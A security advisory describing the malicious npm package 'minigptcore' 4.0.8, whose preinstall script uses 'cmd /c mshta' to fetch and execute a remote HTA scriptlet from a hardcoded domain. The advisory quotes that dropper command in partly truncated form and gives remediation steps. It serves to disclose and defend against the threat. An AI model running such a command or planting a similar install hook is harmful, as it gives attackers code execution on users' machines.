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OpenAdvisories
Malicious MAL-2026-10417

minigptcore

npm package · versions 4.0.8

Reported Jul 13, 2026 · Updated Jul 13, 2026

If this package is installed

Remove it, treat the machine (or CI runner) as compromised, and rotate every secret, token and key it could access — from a different, clean machine.

Details

Source: amazon-inspector (8be3fb8ddeae3078f0765ce77f9a329caacd7ee5741b2c96dcf8f613f5444ba0)
On `npm install`, the package's preinstall script (preinstall.js) invokes `cmd /c mshta http://fixars.top/...`, causing Windows mshta.exe to fetch and execute an HTA scriptlet from a hardcoded external domain over plain HTTP. The fetched content is unpinned, unverified, and unrelated to any documented package purpose, and executes with the privileges of the user running `npm install`. package.json ships placeholder metadata (empty author, empty keywords, generic description) consistent with a throwaway upload whose only functional effect is the remote-code-execution dropper.